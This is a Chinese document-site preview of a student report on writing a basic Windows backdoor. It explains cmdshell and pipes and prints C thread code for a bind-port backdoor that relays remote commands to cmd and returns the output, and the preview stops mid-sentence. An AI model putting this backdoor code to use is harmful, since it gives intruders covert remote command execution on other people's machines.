网站大量收购闲置独家精品文档,联系QQ:2885784924

基本的后门编写.docVIP

  1. 1、本文档共9页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  5. 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  6. 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  7. 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  8. 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
基本的后门编写

基本后门的编写 网络工程0901 张恺南 200926680125 1.1后门概述 绕过安全性控制而获取对程序或系统访问权的方法。在软件的开发阶段,程序员常会在软件内创建后门以便可以修改程序中的缺陷。如果后门被其他人知道,或是在发布软件之前没有删除后门,那么它就成了安全风险。后门又称为Back Door —— 一台计算机上有0到65535共65536个端口,那么如果把计算机看作是一间屋子,那么这65536个端口就可以把它看做是计算机为了与外界连接所开的65536扇门。 2.1简单cmdshell的实现 什么是cmdshell? cmd就是系统中的cmd窗口,shell在英语中是“壳”的意思,cmdshell可以理解为是由被入侵系统返回的一个类似于cmd窗口的可以远程执行命令的模块。 本地主机 cmdshell有1和2两个不同的通信过程,要实现cmdshell,必须解决这两个通信问题。首先1过程是后门和cmd之间的通信,我们可以用管道通信技术来实现这个过程;2过程是跨越计算机的网络通信,我们可以用Winsock类库来实现。 2.2.1管道通信技术 什么是管道? 管道是一种进程间,确切地说是线程间的通信方法。管道,正如这个名字所表示的,是一个有两个端口的对象,进程可以从这个对象的一个端口写入信息,并从这个对象的另一个端口读取信息。管道其实也是一个共享内存,但是这个共享内存更加规范,而且有类似于队列的数据结构,不像内存映射文件那样仅仅是共享内存。 2.2.2正向连接后门编程 所谓正向连接后门,就是在被控制的计算机上监听一个端口,等待连接,当有连接后就启动后门功能,这又是最古老的后门。 2.2.2.1 双管道后门 所谓双管道后门,顾名思义也就是这个后门建立了两个管道。由于匿名管道是单向的,所以cmd的执行结果写入管道1的写句柄(hWritePipe),后门从管道1的读句柄(hReadFile)读取cmd的执行结果;后门把接收到的命令写入管道2的写句柄(hWriteFile),cmd通过管道2的读句柄(hReadPipe)读取命令执行。 通过CreatePipe函数建立管道,建立两个线程,每个线程建立一个管道,线程1用于循环读取管道1中的数据,一旦读到数据,就发送给控制者;线程2用于循环接受数据,一旦接受到数据就写入管道2中,由cmd来执行。 具体代码如下: //接受远程主机的命令,并写入管道2 DWORD WINAPI Thread2( LPVOID lpParam ) { SECURITY_ATTRIBUTES sa; DWORD nByteToWrite, nByteWritten; char recv_buff[1024]; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; //创建管道 CreatePipe(hReadPipe,hWriteFile,sa,0); while(true) { Sleep(250); //接受远程cmd命令 nByteToWrite = recv(sClient ,recv_buff,1024,0); //写入管道 WriteFile(hWriteFile,recv_buff,nByteToWrite,nByteWritten,NULL); } return 0; } //读取管道1中的数据,返回给远程主机 DWORD WINAPI Thread1( LPVOID lpParam ) { SECURITY_ATTRIBUTES sa; DWORD len; char send_buff[2048]; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; CreatePipe(hReadFile,hWritePipe,sa,0); while (true) { //读取管道中的数据 ReadFile(hReadFile,send_buff,2048,len,NULL); //把管道中的数据发送给远程主机 send(sClient,send_buff,len,0); } return 0; } 在主函数中我们只要调用CreateThread函数启动这两个线程就可以了。由于这两个线程是在接收连接后,但管道没有和cmd的输入输出关联时启动,所以启动后,线程1是不能从管道1中读到数据的。线程2假

文档评论(0)

xingkongwd + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档